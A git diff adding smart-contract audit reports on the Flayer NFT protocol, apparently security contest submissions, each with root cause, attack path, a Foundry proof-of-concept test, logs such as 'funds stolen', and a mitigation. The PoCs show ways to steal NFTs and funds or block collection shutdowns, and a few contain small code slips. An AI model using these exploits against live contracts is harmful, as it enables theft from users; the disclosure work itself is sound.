+ console.log("funds stolen", balanceBefore - balanceAfter - 2 ether); // assume that attacker pays 2 ether to buy NFTs
+ }
+```
+
+Run the test and console shows:
+```bash
+Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
+[PASS] test_unsafe_typecasting() (gas: 4111730)
+Logs:
+ CollectionShutdown balance before 12000000000000000000
+ CollectionShutdown balance after 7842254991020732841
+ funds stolen 2157745008979267159
+```
+
+Note that amounts are set simple to demonstrate the attack
+
+### Mitigation
+
+- Change value type for `CollectionShutdownParams.quorumVotes` to a larger value range
+- Use `SafeCast` lib
\ No newline at end of file
diff --git a/001/155.md b/001/155.md
new file mode 100644
index 0000000..5e562d7
--- /dev/null
+++ b/001/155.md
@@ -0,0 +1,63 @@
+Warm Daisy Tiger
+
+Medium
+
+# Incorrect shutdown votes recorded for a collection shutdown
+
+## Summary
+Unsafe typecasting in the function `CollectionShutdown#_vote()` causes `params.shutdownVotes` to be loss of precision
+
+## Vulnerability Detail
+The amount of votes to be added to [`shutdownVotes` is unsafe typecasted to `uint96`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L199-L200), which causes `shutdownVotes` to be loss of precision when the collection token has high `denomination`
+
+### PoC
+Add the test below to file `CollectionShutdown.t.sol`
+
+```solidity
+function test_CanVote_UnsafeCasting() public {
+ // init test
+ erc721b = new ERC721Mock();
+ locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 9);
+ locker.setInitialized(address(erc721b), true);
+ collectionToken = locker.collectionToken(address(erc721b));
+ collectionToken.approve(address(collectionShutdown), type(uint).max);
+
+ _distributeCollectionTokens(collectionToken, address(this), 1e27, 0);
+ // Make a vote with our test user that holds `1 ether`
+ collectionShutdown.start(address(erc721b));
+
+ // assume that user has 100 ether to vote
+ _distributeCollectionTokens(collectionToken, address(this), 100e27, 0);
+
+ // user votes
+ collectionShutdown.vote(address(erc721b));
+
+ assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(this)), 101e27);
+
+ ICollectionShutdown.CollectionShutdownParams memory shutdownParams = collectionShutdown.collectionParams(address(erc721b));
+
+ assertEq(shutdownParams.shutdownVotes, 101e27, "wrong shutdown votes"); // shutdown votes should be 101e27
+ }
+```
+
+Run the test and console shows:
+```bash
+Failing tests:
+Encountered 1 failing test in test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
+[FAIL. Reason: wrong shutdown votes: 21771837485735662406456049664 != 101000000000000000000000000000] test_CanVote_UnsafeCasting() (gas: 2170842)
+```
+
+## Impact
+Loss of precision for shutdown votes
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L199-L200
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+- Use `SafeCast`
+- Update type for `CollectionParams.shutdownVotes` to use larger value range
\ No newline at end of file
diff --git a/001/157.md b/001/157.md
new file mode 100644
index 0000000..0be2539
--- /dev/null
+++ b/001/157.md
@@ -0,0 +1,183 @@
+Stable Chili Ferret
+
+High
+
+# Incorrect handling of `_listings` mapping variable in `Listings.sol#reserve()` function
+
+### Summary
+
+The previous owner of `Listing` can steal the NFT because the `_listings` mapping variable is not deleted in the [`Listings.sol#reserve()`](The previous owner of `Listing` can steal the NFT because the `_listings` mapping variable is not deleted in the `Listings.sol#reserve()` function.) function.
+
+
+### Root Cause
+
+In the `Listings.sol#reserve()` function, the `_listings` mapping variable is not deleted.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+- Bob deposits his NFT and creates a `Listing` using the [`Listings.sol#createListings()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130) function.
+- Alice reserves Bob's Listing by calling the `Listings.sol#reserve()` function and paying the required amount.
+- In [`Listings.sol#L725`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L725), `listingCount` is decremented, but `_listings` is not deleted.
+
+ Since the NFT is deposited in the Locker and `_listings` has not been deleted, Bob is still the owner of his listing.
+- Bob immediately redeems his NFT by calling the [`Listings.sol#cancelListings()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414) function.
+- Alice tries to interact with her ProtectedListing, but the transaction gets reverted because the NFT does not exist in the Locker.
+
+
+### Impact
+
+A malicious user can steal NFTs from the protocol, causing users to lose funds and NFTs.
+
+### PoC
+
+```solidity
+function test_CanCancelListingAfterReserve(address payable _owner, uint _tokenId, uint16 _floorMultiple) public {
+ // Ensure that we don't get a token ID conflict
+ _assumeValidTokenId(_tokenId);
+
+ // Ensure that we don't set a zero address _owner
+ _assumeValidAddress(_owner);
+
+ // Ensure that our multiplier is above 1.00
+ _assumeRealisticFloorMultiple(_floorMultiple);
+
+ // Capture the amount of ETH that the user starts with so that we can compute that
+ // they receive a refund of unused `msg.value` when paying tax.
+ uint startBalance = payable(_owner).balance;
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, _tokenId);
+
+ vm.startPrank(_owner);
+ erc721a.approve(address(listings), _tokenId);
+
+ Listings.Listing memory listing = IListings.Listing({
+ owner: _owner,
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: _floorMultiple
+ });
+
+ // Get our required tax for the listing
+ uint requiredTax = taxCalculator.calculateTax(address(erc721a), _floorMultiple, VALID_LIQUID_DURATION);
+
+ // Confirm that our expected event it emitted
+ vm.expectEmit();
+ emit Listings.ListingsCreated(address(erc721a), _tokenIdToArray(_tokenId), listing, listings.getListingType(listing), 1 ether - requiredTax, requiredTax, _owner);
+
+ // Create our listing
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+ vm.stopPrank();
+
+ // Confirm that the {Locker} now holds the expected token
+ assertEq(erc721a.ownerOf(_tokenId), address(locker));
+
+ // Confirm that the listing was created with the correct data
+ IListings.Listing memory _listing = listings.listings(address(erc721a), _tokenId);
+
+ assertEq(_listing.owner, _owner);
+ assertEq(_listing.created, uint40(block.timestamp));
+ assertEq(_listing.duration, VALID_LIQUID_DURATION);
+ assertEq(_listing.floorMultiple, _floorMultiple);
+
+ // Confirm that the user has received their ERC20 token, minus the required tax payment
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(_owner), 1 ether - requiredTax);
+
+ // Confirm that the user has had no change to their ETH balance
+ assertEq(payable(_owner).balance, startBalance);
+
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), address(this), 1000 ether * 10 ** token.denomination());
+
+ vm.startPrank(address(this));
+ vm.warp(block.timestamp + (VALID_LIQUID_DURATION / 2));
+ token.approve(address(listings), type(uint).max);
+--> listings.reserve(address(erc721a), _tokenId, 0.4 ether);
+ assertEq(erc721a.ownerOf(_tokenId), address(locker));
+ vm.stopPrank();
+
+ vm.startPrank(_owner);
+ token.approve(address(listings), type(uint).max);
+--> listings.cancelListings(address(erc721a), _tokenIdToArray(_tokenId), false);
+
+ assertEq(erc721a.ownerOf(_tokenId), _owner);
+ vm.stopPrank();
+
+ vm.startPrank(address(this));
+ IProtectedListings protectedListings = listings.protectedListings();
+ deal(address(token), address(this), 100000000 ether * 10 ** token.denomination());
+ token.approve(address(protectedListings), type(uint).max);
+--> protectedListings.unlockProtectedListing(address(erc721a), _tokenId, true);
+ }
+```
+Result:
+```solidity
+Ran 1 test suite in 26.63ms (25.08ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+
+Failing tests:
+Encountered 1 failing test in test/Listings.t.sol:ListingsTest
+[FAIL. Reason: TransferFromFailed(); counterexample: calldata=0xa58722510000000000000000000000007844279ae41c4f93b40d4ba28befb63162df6a220000000000000000000000000000000000000000000000000000016f43e5f192000000000000000000000000000000000000000000000000000000000000006a args=[0x7844279ae41C4F93b40D4BA28BeFb63162Df6A22, 1577392140690 [1.577e12], 106]] test_CanCancelListingAfterReserve(address,uint256,uint16) (runs: 0, μ: 0, ~: 0)
+```
+
+
+### Mitigation
+
+Add the follow lines to the `Listings.sol#reserve()` function:
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Check if the listing is a floor item and process additional logic if there
+ // was an owner (meaning it was not floor, so liquid or dutch).
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+
++++ delete _listings[_collection][_tokenId];
+ }
+
+ SNIP...
+ }
+```
\ No newline at end of file
diff --git a/001/158.md b/001/158.md
new file mode 100644
index 0000000..c7cd807
--- /dev/null
+++ b/001/158.md
@@ -0,0 +1,126 @@
+Stable Chili Ferret
+
+High
+
+# The owner of LiquidationListing can steal funds from the protocol.
+
+### Summary
+
+The protocol loses funds due to insufficient checks on LiquidationListing in the `Listings.sol#relist()` function.
+
+
+### Root Cause
+
+The `_isLiquidation` check is not performed in the [`Listings.sol#relist()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672) function.
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+- Alice's protectedListing is liquidated in the [`ProtectedListings.sol#liquidateProtectedListing()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L451-L462) function, creating a LiquidationListing in the Listing contract.
+- Alice immediately relists her LiquidationListing using a different address.
+- Even though Alice's LiquidationListing has no collateral, Alice receives a collateral corresponding to that LiquidationListing.
+
+
+### Impact
+
+The attacker waits for his ProtectedListing to be liquidated and steals funds from the protocol.
+
+### PoC
+
+```solidity
+ function test_InvalidHandleOfLiquidationListing(address payable _owner, address payable _relister, uint _tokenId, uint16 _floorMultiple) public {
+ _assumeValidTokenId(_tokenId);
+
+ // Ensure that we don't set a zero address _owner
+ _assumeValidAddress(_owner);
+ _assumeValidAddress(_relister);
+ vm.assume(_owner != _relister);
+
+ // Ensure that our multiplier is above 1.00
+ _assumeRealisticFloorMultiple(_floorMultiple);
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, _tokenId);
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), address(listings), 100 ether);
+ assertEq(token.balanceOf(address(listings)), 100 ether);
+
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), _tokenId);
+
+ IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ });
+
+ // Create our listing
+ vm.startPrank(_owner);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + LIQUIDATION_TIME);
+
+ address keeper = address(1);
+ vm.prank(keeper);
+ protectedListings.liquidateProtectedListing(address(erc721a), _tokenId);
+
+ // Confirm that the keeper receives their token at the point of liquidation
+ assertEq(token.balanceOf(keeper), protectedListings.KEEPER_REWARD() * 10 ** token.denomination());
+
+ deal(address(token), _relister, 100 ether);
+ vm.startPrank(_relister);
+ token.approve(address(listings), type(uint).max);
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: _relister,
+ created: uint40(block.timestamp),
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: _floorMultiple
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+
+ vm.stopPrank();
+
+ vm.startPrank(_owner);
+ listings.withdraw(address(token), listings.balances(_owner, address(token)));
+ uint256 remainingCollateral = token.balanceOf(address(listings)) - listings.getListingTaxRequired(listings.listings(address(erc721a), _tokenId), address(erc721a));
+ assertEq(remaining, 100 ether);
+ vm.stopPrank();
+ }
+```
+
+Result:
+```solidity
+Ran 1 test suite in 15.91ms (14.52ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+
+Failing tests:
+Encountered 1 failing test in test/Listings.t.sol:ListingsTest
+[FAIL. Reason: assertion failed: 99948571428571428572 != 100000000000000000000; counterexample: calldata=0x73c9da8b0000000000000000000000007b71078b91e0cdf997ea0019ceaaec1e461a64ca0000000000000000000000000a255597a7458c26b0d008204a1336eb2fd6aa090000000000000000000000000000000000000000000000000005c3b7d197caff000000000000000000000000000000000000000000000000000000000000006d args=[0x7b71078b91E0CdF997EA0019cEaAeC1E461A64cA, 0x0A255597a7458C26B0D008204A1336EB2fD6AA09, 1622569146370815 [1.622e15], 109]] test_NotCheckLiquidationableRelist(address,address,uint256,uint16) (runs: 0, μ: 0, ~: 0)
+
+Encountered a total of 1 failing tests, 0 tests succeeded
+```
+
+
+### Mitigation
+
+Pls add corresponding check to `relist()`
\ No newline at end of file
diff --git a/001/159.md b/001/159.md
new file mode 100644
index 0000000..24801c7
--- /dev/null
+++ b/001/159.md
@@ -0,0 +1,82 @@
+Stable Chili Ferret
+
+High
+
+# Rounding error when calculating `param.quorumVotes` in `CollectionShutdown` contract
+
+### Summary
+
+In the `CollectionShutdown` contract, a rounding error occurred when calculating `param.quorumVotes`, causing the last user to be unable to claim in the `CollectionShutdown.sol#claim()` function, and the corresponding ETH may be locked in the contract.
+
+
+### Root Cause
+
+Rounding Down occurs when calculating `param.quorumVotes` in the `CollectionShutdown` contract.
+
+### Internal pre-conditions
+
+- The `params.collectionToken.totalSupply()` is a little bigger than `param.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCEN`.
+
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+- In the [`CollectionShutdown.sol#start()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L150) function, `params.quorumVotes` is calculated as follows:
+ ```solidity
+ params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+ ```
+ That is
+ > params.quorumVotes = totalSupply * 50 / 100
+
+ In here, Rounding occurs due to various causes.
+- Meanwhile, in the [`CollectionShutdown.sol#claim()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L310) function, ETH amount is calculated as follows:
+ ```solidity
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ ```
+
+ In here, If the sum of claimableVotes is totalSupply, the sum of amount may exceed `params.availableClaim` due to rounding. In other words, the last user cannot claim due to insufficient balance.
+
+
+### Impact
+
+The last user will be unable to claim, and the corresponding ETH may be locked in the contract.
+
+### PoC
+
+```solidity
+ mapping (address _collection => mapping (address _user => uint _votes)) public shutdownVoters;
+ function test_CannotLastClaim() public {
+ shutdownVoters[address(erc721a)][address(1)] = 1 ether;
+ shutdownVoters[address(erc721a)][address(2)] = 1 ether;
+ shutdownVoters[address(erc721a)][address(3)] = 1 ether + 1;
+ uint quorumVotes = (shutdownVoters[address(erc721a)][address(1)] +
+ shutdownVoters[address(erc721a)][address(2)] +
+ shutdownVoters[address(erc721a)][address(3)])
+ * 50 / 100;
+ uint available = 10 ether;
+
+ uint claimAmount = 0;
+ claimAmount = available * shutdownVoters[address(erc721a)][address(1)] / (quorumVotes * 100 / 50) +
+ available * shutdownVoters[address(erc721a)][address(2)] / (quorumVotes * 100 / 50) +
+ available * shutdownVoters[address(erc721a)][address(3)] / (quorumVotes * 100 / 50);
+ assertEq(claimAmount, available);
+ }
+```
+
+Result:
+```solidity
+Ran 1 test suite in 9.38ms (6.60ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+
+Failing tests:
+Encountered 1 failing test in test/Listings.t.sol:ListingsTest
+[FAIL. Reason: assertion failed: 10000000000000000002 != 10000000000000000000] test_CannotLastClaim() (gas: 75386)
+```
+
+As you can see, the ETH amount is exceed the `available1`.
+
+### Mitigation
+
+It is recommended to handle Rounding Errors appropriately to prevent loss of user funds.
\ No newline at end of file
diff --git a/001/160.md b/001/160.md
new file mode 100644
index 0000000..1d23dc3
--- /dev/null
+++ b/001/160.md
@@ -0,0 +1,88 @@
+Stable Chili Ferret
+
+High
+
+# The `shutdownVoters` is not processed in the `CollectionShutdown.sol#cancel()` function.
+
+### Summary
+
+In the `CollectionShutdown.sol#cancel()` function, `_collectionParams` is deleted regardless of the existence of `shutdownVoters`, so users cannot reclaim their collection tokens.
+
+
+### Root Cause
+
+In the `CollectionShutdown.sol#cancel()` function, delete `_collectionParams` regardless of the existence of `shutdownVoters`.
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+Users must have voted their collection tokens.
+
+### Attack Path
+
+Once the `CollectionShutdown.sol#cancel()` function is executed, users cannot call the `CollectionShutdown.sol#reclaimVote()` function.
+
+
+### Impact
+
+_No response_
+
+### PoC
+
+The [`CollectionShutdown.sol#cancel()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) function deletes `_collectionParams` when the condition is met.
+```solidity
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+403: delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+Meanwhile, the [`CollectionShutdown.sol#reclaimVote()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) function returns the collection token.
+```solidity
+ function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+369: params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+373: params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+ }
+```
+
+But as you can see, `_collectionParams` has already been deleted in #L369, so `params.shutdownVotes` is 0.
+
+Therefore, underflow occurs and the transaction is always reverted.
+
+### Mitigation
+
+- Manage `shutdownVoters` separately from `_collectionParams`.
+- It is recommended to restrict the `CollectionShutdown.sol#cancel()` function to be called only by authorized users.
\ No newline at end of file
diff --git a/001/161.md b/001/161.md
new file mode 100644
index 0000000..882f241
--- /dev/null
+++ b/001/161.md
@@ -0,0 +1,117 @@
+Stable Chili Ferret
+
+High
+
+# Incorrect location of `_createCheckpoint()` function in `ProtectedListings.sol#createListings()` function
+
+### Summary
+
+In the `ProtectedListings.sol#createListings()` function, the `_createCheckpoint()` function is executed in the wrong location, which causes it to not accurately reflect the state of the pool.
+
+
+### Root Cause
+
+The `_createCheckpoint()` function is called before the state of the pool changes in the `ProtectedListings.sol#createListings()` function.
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+Based on the code base within the scope, the `_createCheckpoint()` function is called when:
+
+- When the utilization changes.
+
+ https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L161-L162
+
+ https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L466-L467
+
+ https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L602-L603
+
+- To reflect that listings have been removed.
+
+ https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L324-L325
+
+ https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L480-L481
+
+As you can see, in all cases it is called when the state of the pool changes.
+
+However, the [`ProtectedListings.sol#createListings()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156) function is called before the state of the pool changes, so it does not accurately reflect the changed state of the pool.
+
+As a result, a mismatch occurs in the unlockPrice calculation of the ProtectedListing.
+
+### Impact
+
+Discrepancies in price calculations can lead to inaccurate calculation logic, which can be exploited by malicious users.
+
+
+### PoC
+
+```solidity
+ function test_CheckPointDifference(address payable _owner, uint _tokenId, uint16 _floorMultiple) public {
+ _assumeValidTokenId(_tokenId);
+
+ // Ensure that we don't set a zero address _owner
+ _assumeValidAddress(_owner);
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, _tokenId);
+
+ vm.startPrank(address(listings));
+ protectedListings.createCheckpoint(address(erc721a));
+ vm.stopPrank();
+
+ vm.prank(_owner);
+ erc721a.setApprovalForAll(address(protectedListings), true);
+
+ IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ });
+
+ // Create our listing
+ vm.startPrank(_owner);
+ vm.warp(block.timestamp + 1 days);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+ assertEq(protectedListings.unlockPrice(address(erc721a), _tokenId), 0);
+ vm.stopPrank();
+ }
+```
+
+Result:
+
+- Before Pool is updated:
+```solidity
+Ran 1 test suite in 12.20ms (10.91ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+
+Failing tests:
+Encountered 1 failing test in test/ProtectedListings.t.sol:ProtectedListingsTest
+[FAIL. Reason: assertion failed: 400000000000000000 != 0; counterexample: calldata=0x6fa725c5000000000000000000000000d5f364014e543b7da6b8520e2ee9830bbbc2c53f00000000000000000000000001a5c724bf1d54280555ddd98f21d128d6907574000000000000000000000000000000000000000000000000000000000000fffd args=[0xD5f364014E543B7DA6B8520e2ee9830bbBc2C53f, 9405961577681852482454780667039381560419710324 [9.405e45], 65533 [6.553e4]]] test_CheckPointDifference(address,uint256,uint16) (runs: 0, μ: 0, ~: 0)
+```
+
+-After pool is updated:
+```solidity
+Ran 1 test suite in 15.64ms (13.89ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+
+Failing tests:
+Encountered 1 failing test in test/ProtectedListings.t.sol:ProtectedListingsTest
+[FAIL. Reason: assertion failed: 400293698630114560 != 0; counterexample: calldata=0x6fa725c5000000000000000000000000d5f364014e543b7da6b8520e2ee9830bbbc2c53f00000000000000000000000001a5c724bf1d54280555ddd98f21d128d6907574000000000000000000000000000000000000000000000000000000000000fffd args=[0xD5f364014E543B7DA6B8520e2ee9830bbBc2C53f, 9405961577681852482454780667039381560419710324 [9.405e45], 65533 [6.553e4]]] test_CheckPointDifference(address,uint256,uint16) (runs: 0, μ: 0, ~: 0)
+```
+
+
+### Mitigation
+
+It is recommended that the `_createCheckpoint()` function in the `ProtectedListings.sol#createListings()` function be implemented to accurately reflect the change status of the pool.
\ No newline at end of file
diff --git a/001/164.md b/001/164.md
new file mode 100644
index 0000000..39a8ebb
--- /dev/null
+++ b/001/164.md
@@ -0,0 +1,168 @@
+Stable Chili Ferret
+
+Medium
+
+# In the `Listings.sol#relist()` function, `listing.created` is not set to `block.timestamp`.
+
+### Summary
+
+The core functionality of the protocol can be blocked by malicious users by not setting `listing.created` to `block.timestamp` in the [`Listings.sol#relist()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672) function.
+
+
+### Root Cause
+
+In the `Listings.sol#relist()` function, `listing.created` is not set to `block.timestamp` and it is determined based on the input parameter.
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+- When a collection is illiquid and we have a disperate number of tokens spread across multiple users, a pool has to become unusable.
+
+
+### Attack Path
+
+- In [`Listings.sol#L665`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L665), a malicious user sets `listing.created` to `type(uint).max` instead of `block.timestamp` in the `Listings.sol#relist()` function.
+- Next, When a collection is illiquid and we have a disperate number of tokens spread across multiple users, a pool has to become unusable.
+- In [`CollectionShutdown.sol#L241`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L241), [`_hasListings(_collection)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L497-L514 ) is always `true`, so the `CollectionShutdown.sol#execute()` function is always reverted.
+
+
+### Impact
+
+The CollectionShutdown function that is core function of the protocol is damaged.
+
+### PoC
+
+```solidity
+function test_CanRelistFloorItemAsLiquidListing(address _lister, address payable _relister, uint _tokenId, uint16 _floorMultiple) public {
+ // Ensure that we don't get a token ID conflict
+ _assumeValidTokenId(_tokenId);
+
+ // Ensure that we don't set a zero address for our lister and filler, and that they
+ // aren't the same address
+ _assumeValidAddress(_lister);
+ _assumeValidAddress(_relister);
+ vm.assume(_lister != _relister);
+
+ // Ensure that our listing multiplier is above 1.00
+ _assumeRealisticFloorMultiple(_floorMultiple);
+
+ // Provide a token into the core Locker to create a Floor item
+ erc721a.mint(_lister, _tokenId);
+
+ vm.startPrank(_lister);
+ erc721a.approve(address(locker), _tokenId);
+
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+
+ // Rather than creating a listing, we will deposit it as a floor token
+ locker.deposit(address(erc721a), tokenIds);
+ vm.stopPrank();
+
+ // Confirm that our listing user has received the underlying ERC20. From the deposit this will be
+ // a straight 1:1 swap.
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ assertEq(token.balanceOf(_lister), 1 ether);
+
+ vm.startPrank(_relister);
+
+ // Provide our filler with sufficient, approved ERC20 tokens to make the relist
+ uint startBalance = 0.5 ether;
+ deal(address(token), _relister, startBalance);
+ token.approve(address(listings), startBalance);
+
+ // Relist our floor item into one of various collections
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: _relister,
+--> created: uint40(type(uint32).max),
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: _floorMultiple
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+
+ vm.stopPrank();
+
+ // Confirm that the listing has been created with the expected details
+ IListings.Listing memory _listing = listings.listings(address(erc721a), _tokenId);
+
+ assertEq(_listing.created, block.timestamp);
+ }
+```
+
+Result:
+```solidity
+Ran 1 test suite in 17.20ms (15.77ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+
+Failing tests:
+Encountered 1 failing test in test/Listings.t.sol:ListingsTest
+[FAIL. Reason: assertion failed: 4294967295 != 3601; counterexample: calldata=0x102a3f2c0000000000000000000000007b71078b91e0cdf997ea0019ceaaec1e461a64ca0000000000000000000000000a255597a7458c26b0d008204a1336eb2fd6aa090000000000000000000000000000000000000000000000000005c3b7d197caff000000000000000000000000000000000000000000000000000000000000006d args=[0x7b71078b91E0CdF997EA0019cEaAeC1E461A64cA, 0x0A255597a7458C26B0D008204A1336EB2fD6AA09, 1622569146370815 [1.622e15], 109]] test_CanRelistFloorItemAsLiquidListing(address,address,uint256,uint16) (runs: 0, μ: 0, ~: 0)
+
+Encountered a total of 1 failing tests, 0 tests succeeded
+```
+
+
+### Mitigation
+
+Add the follow lines to the `Listings.sol#relist()` function:
+```solidity
+function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ // Load our tokenId
+ address _collection = _listing.collection;
+ uint _tokenId = _listing.tokenIds[0];
+
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
